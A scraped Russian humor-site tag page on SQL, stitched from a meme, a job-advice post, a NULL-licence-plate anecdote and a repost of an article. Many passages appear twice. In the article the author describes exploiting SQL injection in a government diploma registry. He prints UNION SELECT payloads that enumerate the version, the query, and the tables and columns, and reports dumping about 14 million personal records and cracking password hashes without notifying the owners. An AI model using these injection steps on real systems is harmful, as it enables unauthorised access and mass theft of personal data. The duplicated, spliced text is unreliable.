Результаты поиска по запросу "SQL dropUsers"
Перевод:
- Привет, шлюшка Сэлли. С каким количеством парней ты переспала?
- Не твое дело
- Серьезно?
- Ага
- ' or 1=1 -- -
- перечисление имен
Сразу кэп: "Select name from users where name='".$_GET['name']." и ' or 1=1 -- - даст вывод всех имен.
- Привет, шлюшка Сэлли. С каким количеством парней ты переспала?
- Не твое дело
- Серьезно?
- Ага
- ' or 1=1 -- -
- перечисление имен
Сразу кэп: "Select name from users where name='".$_GET['name']." и ' or 1=1 -- - даст вывод всех имен.
Запрос
SELECT * FROM ПРИЗРАКИ
"И так сойдёт… или как данные 14 миллионов россиян оказались у меня в руках"
Ну и пока я смотрел на эту форму, решил я с ней поиграться. Повводил всякой чепухи, и бац — на поле, в которое было введено 1', я получаю такой response:
<h2>Произошла ошибка</h2><p>SQLSTATE[42601]: Syntax error: 7 ERROR: syntax error at or near "4"LINE 6: ...me) = UPPER('1'')) AND (doc.education_level_id = '4') AND (U... ^</p>
В ответ просто пришло сообщение о том, что документ не найден.
Также пробовал использовать вместо невозможного условия, наоборот, очевидные. А именно пробовал искать какой-либо документ по id. Писал id=1, id=1024 и прочее, но результатов не дало. Видимо, id давно перевалило за тысячи (спойлер: за миллионы).
Также я совершенно не надеялся на то, что запрос придёт без ошибки. Я был уверен, что пробелы будут экранироваться, удаляться, запрещаться, ещё что-нибудь. Ведь в форме на странице поиска ввести фамилию с пробелами невозможно. Но всё оказалось в разы проще.
Ну а теперь бы хотелось вытащить что-то действительно интересное. Изменить структуру ответа мы не можем никак, то есть если в запросе были, например, SELECT id, name, count, то так оно и останется. Значит надо подстраиваться, а для начала понять, какие же данные запрашиваются из БД, и, главное, сколько? Существует много способов узнать количество полей, но мне помог только ORDER BY. Как это работает?
ORDER BY сделан для сортировки, но его синтаксис не требует обязательно указывать имя поля, достаточно указать его позицию в запросе. Если указать номер позиции больше, чем количество запрашиваемых полей — то будет ошибка. Методом перебора можно подобрать количество полей. Их оказалось 55.
Хочется понять, с чем же мы работаем, что это за база данных такая? Предположим, что это MySQL, в MySQL есть функция Version(), которая возвращает версию БД. Применим:
В ответ пришёл JSON, в котором было:
PostgreSQL 9.1.2 on x86_64-alt-linux-gnu, compiled by x86_64-alt-linux-gcc (GCC) 4.5.3 20120111 (ALT Linux 4.5.3-alt1.M60C.1), 64-bit
Отлично, мы знаем систему, версию БД (под неё вроде даже эксплоиты были). Поле для действия расширилось. Узнаём, как выглядит запрос:
Одиноким вечером, глядя на свою пустую зачётку и осознавая, что конец близок, я снова задумался о том, как бы мне сейчас собрать сумку, или даже просто рюкзак, положить туда рубашку, шорты и свалить в тёплую страну. Было бы хорошо, да вот с дипломом живётся намного лучше. Во всяком случае, мне всегда так говорят.
Также часто слышал много историй про людей, которые приходили на собеседования с красными дипломами МГУ, но при этом абсолютно не разбирались в своей специальности, а потом на корпоративах признавались, что диплом у них купленный.
Но времена сейчас другие, сейчас 21 век, век больших возможностей, любой работодатель, который умеет пользоваться мышкой и знает, как выглядит браузер на рабочем столе, может проверить данные диплома. Каждый диплом, который выдаётся учебным заведением, теперь регистрируется в едином реестре, доступ к которому есть у каждого через сайт Федеральной службы по надзору в сфере образования и науки.
Также часто слышал много историй про людей, которые приходили на собеседования с красными дипломами МГУ, но при этом абсолютно не разбирались в своей специальности, а потом на корпоративах признавались, что диплом у них купленный.
Но времена сейчас другие, сейчас 21 век, век больших возможностей, любой работодатель, который умеет пользоваться мышкой и знает, как выглядит браузер на рабочем столе, может проверить данные диплома. Каждый диплом, который выдаётся учебным заведением, теперь регистрируется в едином реестре, доступ к которому есть у каждого через сайт Федеральной службы по надзору в сфере образования и науки.
Для получение информации о документе об образовании достаточно просто заполнить форму, передвинуть слайдер и нажать кнопку. Вам либо покажут информацию о документе, либо скажут, что такого нет (но ещё рано обвинять соискателя в обмане, мало ли, что могло произойти).
Ну и пока я смотрел на эту форму, решил я с ней поиграться. Повводил всякой чепухи, и бац — на поле, в которое было введено 1', я получаю такой response:
<h2>Произошла ошибка</h2><p>SQLSTATE[42601]: Syntax error: 7 ERROR: syntax error at or near "4"LINE 6: ...me) = UPPER('1'')) AND (doc.education_level_id = '4') AND (U... ^</p>
Голый SQL Injection. Очевидно, что задачи продумать обработку ошибок перед разработчиком не было. Задача была сделать сервис, который работает. Сервис, который является гарантом. Так одинокий вечер превратился в весёлую одинокую ночь.
Ещё будучи подростком я очень любил всякие крутые истории про хакеров, а после того, как решил заняться программированием, изредка почитывал и интересные статьи по взлому и прочему. Так что то, что нужно делать дальше — я знал.
Так как разработчик этого сервиса дал нам удовольствие видеть ещё и часть запроса, то мы можем с уверенностью предположить, что это SELECT запрос. Теперь нам нужно как-то обнулить действие запроса, записанного в php-скрипте, а потом с помощью переменной вставить свой.
Для обнуления запроса достаточно просто добавить невозможное условие и закомментировать последующие строки запроса, что-то наподобие:
Так как разработчик этого сервиса дал нам удовольствие видеть ещё и часть запроса, то мы можем с уверенностью предположить, что это SELECT запрос. Теперь нам нужно как-то обнулить действие запроса, записанного в php-скрипте, а потом с помощью переменной вставить свой.
Для обнуления запроса достаточно просто добавить невозможное условие и закомментировать последующие строки запроса, что-то наподобие:
Инъекция
...me) = UPPER('1') AND (1=0)) — ')) AND (doc.education_level_id = '4') AND (U…
В ответ просто пришло сообщение о том, что документ не найден.
Также пробовал использовать вместо невозможного условия, наоборот, очевидные. А именно пробовал искать какой-либо документ по id. Писал id=1, id=1024 и прочее, но результатов не дало. Видимо, id давно перевалило за тысячи (спойлер: за миллионы).
Также я совершенно не надеялся на то, что запрос придёт без ошибки. Я был уверен, что пробелы будут экранироваться, удаляться, запрещаться, ещё что-нибудь. Ведь в форме на странице поиска ввести фамилию с пробелами невозможно. Но всё оказалось в разы проще.
Ну а теперь бы хотелось вытащить что-то действительно интересное. Изменить структуру ответа мы не можем никак, то есть если в запросе были, например, SELECT id, name, count, то так оно и останется. Значит надо подстраиваться, а для начала понять, какие же данные запрашиваются из БД, и, главное, сколько? Существует много способов узнать количество полей, но мне помог только ORDER BY. Как это работает?
ORDER BY сделан для сортировки, но его синтаксис не требует обязательно указывать имя поля, достаточно указать его позицию в запросе. Если указать номер позиции больше, чем количество запрашиваемых полей — то будет ошибка. Методом перебора можно подобрать количество полей. Их оказалось 55.
Хочется понять, с чем же мы работаем, что это за база данных такая? Предположим, что это MySQL, в MySQL есть функция Version(), которая возвращает версию БД. Применим:
Инъекция
...me) = UPPER('1') AND (1=0)) UNION SELECT 1,version(),тут ещё 53 поля, типы которых ещё надо определить методом подбора — ')) AND (doc.education_level_id = '4') AND (U…
В ответ пришёл JSON, в котором было:
PostgreSQL 9.1.2 on x86_64-alt-linux-gnu, compiled by x86_64-alt-linux-gcc (GCC) 4.5.3 20120111 (ALT Linux 4.5.3-alt1.M60C.1), 64-bit
Отлично, мы знаем систему, версию БД (под неё вроде даже эксплоиты были). Поле для действия расширилось. Узнаём, как выглядит запрос:
Инъекция
...me) = UPPER('1') AND (1=0)) UNION SELECT 1,current_query(),тут ещё 53 поля, типы которых ещё надо определить методом подбора — ')) AND (doc.education_level_id = '4') AND (U…
Ответ:
"SELECT "doc".*, "doc_type"."type", "stat"."name" AS "status", "level"."name" AS "level", "rec"."name" AS "rec_name", "rec"."surname" AS "rec_surname", "rec"."patronymic" AS "rec_lastname" FROM "documents" AS "doc" LEFT JOIN "document_types" AS "doc_type" ON doc_type.id = doc.document_type_id LEFT JOIN "document_packages" AS "dp" ON doc.document_package_id = dp.id LEFT JOIN "documents_status" AS "stat" ON stat.id = doc.status_id LEFT JOIN "education_levels" AS "level" ON level.id = doc.education_level_id LEFT JOIN "recipients" AS "rec" ON rec.id = doc.recipient_id WHERE (dp.status = 3) AND (doc.organization_id = '573') AND (doc.year = '2018-01-01') AND (UPPER(rec.surname) = UPPER('1')) UNION SELECT 1,current_query(),'3', '4', '5', '6', '7', '8', '9', '10', '11', '12', '13', '14', '15', '16', '17', '18', '01.01.1970', '01.01.1970', '21', '01.01.1970', '23', '24', '25', '26', '01.01.1970', '28', '29', '30', '31', '32', '33', '28-05-2004 11:11:59', '35', '36', '28-05-2004 11:11:59', '38', '39', '40', '41', '42', '43', '44', '45', '46', '47', '48', '49', '50', '51', '52', '53', '54', '55' -- ')) AND (doc.education_level_id = '4') AND (UPPER(doc.series) = UPPER('1')) AND (doc.number = '1') LIMIT 1"
Вся картина перед нами.
Попробуем узнать, что же за таблицы есть во всей базе данных:
Ответ:
"SELECT "doc".*, "doc_type"."type", "stat"."name" AS "status", "level"."name" AS "level", "rec"."name" AS "rec_name", "rec"."surname" AS "rec_surname", "rec"."patronymic" AS "rec_lastname" FROM "documents" AS "doc" LEFT JOIN "document_types" AS "doc_type" ON doc_type.id = doc.document_type_id LEFT JOIN "document_packages" AS "dp" ON doc.document_package_id = dp.id LEFT JOIN "documents_status" AS "stat" ON stat.id = doc.status_id LEFT JOIN "education_levels" AS "level" ON level.id = doc.education_level_id LEFT JOIN "recipients" AS "rec" ON rec.id = doc.recipient_id WHERE (dp.status = 3) AND (doc.organization_id = '573') AND (doc.year = '2018-01-01') AND (UPPER(rec.surname) = UPPER('1')) UNION SELECT 1,current_query(),'3', '4', '5', '6', '7', '8', '9', '10', '11', '12', '13', '14', '15', '16', '17', '18', '01.01.1970', '01.01.1970', '21', '01.01.1970', '23', '24', '25', '26', '01.01.1970', '28', '29', '30', '31', '32', '33', '28-05-2004 11:11:59', '35', '36', '28-05-2004 11:11:59', '38', '39', '40', '41', '42', '43', '44', '45', '46', '47', '48', '49', '50', '51', '52', '53', '54', '55' -- ')) AND (doc.education_level_id = '4') AND (UPPER(doc.series) = UPPER('1')) AND (doc.number = '1') LIMIT 1"
Вся картина перед нами.
Попробуем узнать, что же за таблицы есть во всей базе данных:
Инъекция
...me) = UPPER('1') AND (1=0)) UNION SELECT 1,table_name,тут ещё 53 поля, типы которых ещё надо определить методом подбора FROM information_schema.tables — ')) AND (doc.education_level_id = '4') AND (U…
Таким образом получили все таблицы. Узнаём столбцы каждой таблицы следующим образом:
Таким образом получили все таблицы. Узнаём столбцы каждой таблицы следующим образом:
Инъекция
...me) = UPPER('1') AND (1=0)) UNION SELECT 1,CONCAT(column_name,' ',data_type,' ',is_nullable),тут ещё 53 поля, типы которых ещё надо определить методом подбора FROM information_schema.columns WHERE table_name='Какое-то имя таблицы' — ')) AND (doc.education_level_id = '4') AND (U…
Итак, зная структуру базы данных, я написал скрипт на Питон и выкачал все самые интересные на мой взгляд данные. А именно:
Таблицу с дипломами об образовании (серия, номер, год поступления, год окончания, СНИЛС!, ИНН!!, серия и номер паспорта (честно говоря, у всех записей поля пустые, но сам факт!), дата рождения, национальность (зачем?), учебная организация, выдавшая документ), таблицу с гражданами с образованием (там всё проще: ФИО и всё), таблицу с пользователями системы (стандартно, логин, email, и, НЕОЖИДАНО, md5 хэш пароля, хоть не сам пароль), отдельная таблица admin с одной записью (так же: логин, хэш пароля и прочее), таблица с информацией об учебных заведениях (кто начальник, email, телефон, лицензия — в общем всё, что и так есть в открытом доступе) и ещё кучу вспомогательных таблиц.
По объёмам получилось: около 14 000 000 документов об образовании, около 14 000 000 записей с данными о бывших студентах, 1322 пользователя системы, 1 админ, который логинится по будням в системе, видимо, когда на работу приходит, 3391 учебное заведение и горы непонятной информации типа ОКОГУ и прочее. База весом 5 гб.
А теперь представьте, сколько времени это качалось. Вы думаете, кто-то заметил? Может быть сервис резко отключился, ip заблокировали или ещё что-то? НЕТ!
Конечно, целью не является использовать эту информацию в корыстных целях (да я и не представляю, как). Иначе бы я не писал статью здесь. Но и писать лично администрации сайта или кто там за него отвечает я тоже не горю желанием, хватило истории про Микротех.
Дополнительно решил проверить хэши по радужным таблицам. Не уверен, конечно, что они хэшировались именно голым md5, но, во всяком случае, в открытых базах данных совпадений ни к одному хэшу не нашлось. Или я что-то не умею.
Мог бы я продолжить и получить доступ в систему? Смог бы я сам изменять записи и добавлять свои? Вполне возможно, но я решил этого не делать. Да и сессию надо закрывать, без диплома-то никак…
Итак, зная структуру базы данных, я написал скрипт на Питон и выкачал все самые интересные на мой взгляд данные. А именно:
Таблицу с дипломами об образовании (серия, номер, год поступления, год окончания, СНИЛС!, ИНН!!, серия и номер паспорта (честно говоря, у всех записей поля пустые, но сам факт!), дата рождения, национальность (зачем?), учебная организация, выдавшая документ), таблицу с гражданами с образованием (там всё проще: ФИО и всё), таблицу с пользователями системы (стандартно, логин, email, и, НЕОЖИДАНО, md5 хэш пароля, хоть не сам пароль), отдельная таблица admin с одной записью (так же: логин, хэш пароля и прочее), таблица с информацией об учебных заведениях (кто начальник, email, телефон, лицензия — в общем всё, что и так есть в открытом доступе) и ещё кучу вспомогательных таблиц.
По объёмам получилось: около 14 000 000 документов об образовании, около 14 000 000 записей с данными о бывших студентах, 1322 пользователя системы, 1 админ, который логинится по будням в системе, видимо, когда на работу приходит, 3391 учебное заведение и горы непонятной информации типа ОКОГУ и прочее. База весом 5 гб.
А теперь представьте, сколько времени это качалось. Вы думаете, кто-то заметил? Может быть сервис резко отключился, ip заблокировали или ещё что-то? НЕТ!
Конечно, целью не является использовать эту информацию в корыстных целях (да я и не представляю, как). Иначе бы я не писал статью здесь. Но и писать лично администрации сайта или кто там за него отвечает я тоже не горю желанием, хватило истории про Микротех.
Дополнительно решил проверить хэши по радужным таблицам. Не уверен, конечно, что они хэшировались именно голым md5, но, во всяком случае, в открытых базах данных совпадений ни к одному хэшу не нашлось. Или я что-то не умею.
Мог бы я продолжить и получить доступ в систему? Смог бы я сам изменять записи и добавлять свои? Вполне возможно, но я решил этого не делать. Да и сессию надо закрывать, без диплома-то никак…
![MsflWfl
^ AHV> -
ЙЧ/
5£TWm] &,sql](https://img2.joyreactor.cc/pics/post/sql-50965.jpeg "sql")
Прошу совета от коллегии ойти джойреактора (пидоры помогите).
Начну с моего опыта работы в айти. Я работал тем самым челом из тех.поддержки, который следил за работоспособностью всяких служб, систем, подсистем в этой компании, но брал заявки не от пользователей, а от разработчиков. Работал с HDFS, jenkins,zabbix, JIRA, tomcat, докерами (kubernetes), соответственно лазил по unix - системах (но не администрировал их). Работал со всякими субд, как: oracle (PLSQL), mssql, postgres (DBEAVER) и TERADATA (teradata sql assistant и teradata sql studio). В основном, выполнял скрипты там, иногда вытягивал инфу с помощью селекта и т.п. Знаю основу sql.
Так вот, проработав там год, я понял, что ну его сраку эти бюджетные компании и пошел восвояси. Отдохнул месяц-полтора и стал искать работу по моему неоконченному образованию: "Системный администратор". При этом я имею среднее профессиональное образование в другой сфере (там другой разговор). Искал, искал работу, проходил собесы, получал море отказов и за 4-5 месяцев так и не смог протиснуться сис.админом. Было около 69 откликов и предложений на хедхантере. И тут осенило, может ну нахрен это сис.админтсво?
Я пытался устроиться тестировщиком в международную компанию за это время, но там вакансия была занята и отправили на заббикс-инженера, где я благополучно провалил собес по техническим знаниям. В той компании как раз работал мой знакомый qa - инженером.
И вот, подумав маленько я начал изучать основу тестирования и тестировщика. Благо, в моем городе как раз идет набор на стажировку в qa (геймдев).
Хочу попросить совета, что нужно знать тестировщику, что ненужно, как проходить собеседование в этом направлении?
P.S. Я почти изучил весь основной курс по тестированию. Остановился пока что на Postman. Благодарю за советы.
Интересна история попытки хакнуть систему с помощью номерного знака.
Американский программист Джозеф Тартаро зарегистрировал автомобильный знак NULL. Дело в том, что во многих языках программирования, в том числе SQL, используемом для работы с базами данных, NULL используется в качестве идентификатора отсутствующего или неприсвоенного значения. Идея заключалась в том, что таким образом можно будет избежать штрафов, потому что система не сможет корректно обрабатывать его номерной знак.
К сожалению, произошло прямо противоположное. Когда его номер попал в базу данных, система связала номерной знак NULL с его адресом. А потом она отправила ему ВСЕ остальные штрафные квитанции, у которых не было реального номерного знака. Общая стоимость штрафов составила $12 049.
Отличный комментарий!
Классика.
- Здравствуйте, здесь выдают зарплату? Моя фамилия "Итого".
- Нет, здесь собирают налоги. Как, вы говорите, ваша фамилия?
- Здравствуйте, здесь выдают зарплату? Моя фамилия "Итого".
- Нет, здесь собирают налоги. Как, вы говорите, ваша фамилия?
Здесь мы собираем самые интересные картинки, арты, комиксы, мемасики по теме SQL dropUsers (+532 постов - SQL dropUsers)
Наши любимые теги
Топ комментов
А бывает, комменты лучше постов. Смотрим топ тредов и вникаем!
Отличный комментарий!